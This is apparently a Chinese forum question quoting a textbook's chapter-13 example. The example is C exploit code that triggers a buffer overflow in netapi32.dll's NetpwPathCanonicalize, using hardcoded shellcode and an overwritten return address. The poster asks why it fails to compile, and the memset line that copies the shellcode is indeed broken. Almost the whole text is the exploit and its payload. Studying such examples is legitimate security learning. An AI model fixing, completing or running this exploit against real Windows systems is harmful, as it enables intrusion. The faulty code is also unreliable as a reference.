13章处有个例子:
#include <windows.h>
typedef void (*MYPROC) (LPTSTR,LPTSTR,int,LPTSTR,LPDWORD,DWORD);
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x74\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char arg_1[0x320]; //设置成很长的字符串
char arg_2[0x440]; //接收的缓冲区,也要稍微大些
int arg_3=0x440;
char arg_4[0x100]; //设置成很长的字符串
DWORD arg_5=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]="netapi32.dll";
char VulFunc[]="NetpwPathCanonicalize";
LibHandle=LoadLibrary(dll);
Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);
memset(arg_1,0,sizeof(arg_1));
memset(arg_1,0x90,sizeof(arg_1)-2);
memset(arg_4,0,sizeof(arg_4));
memset(arg_4,'a',sizeof(arg_4)-2);
memset(arg_4,shellcode,168);
//这里一直编译错误error C2664: 'memset' : cannot convert parameter 2 from 'char [169]' to 'int',不知是怎么回事.
arg_1[0x318]=0xF9;
arg_1[0x319]=0x52;
arg_1[0x31A]=0x18;
arg_1[0x31B]=0x75;
Trigger(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
return 0;
}
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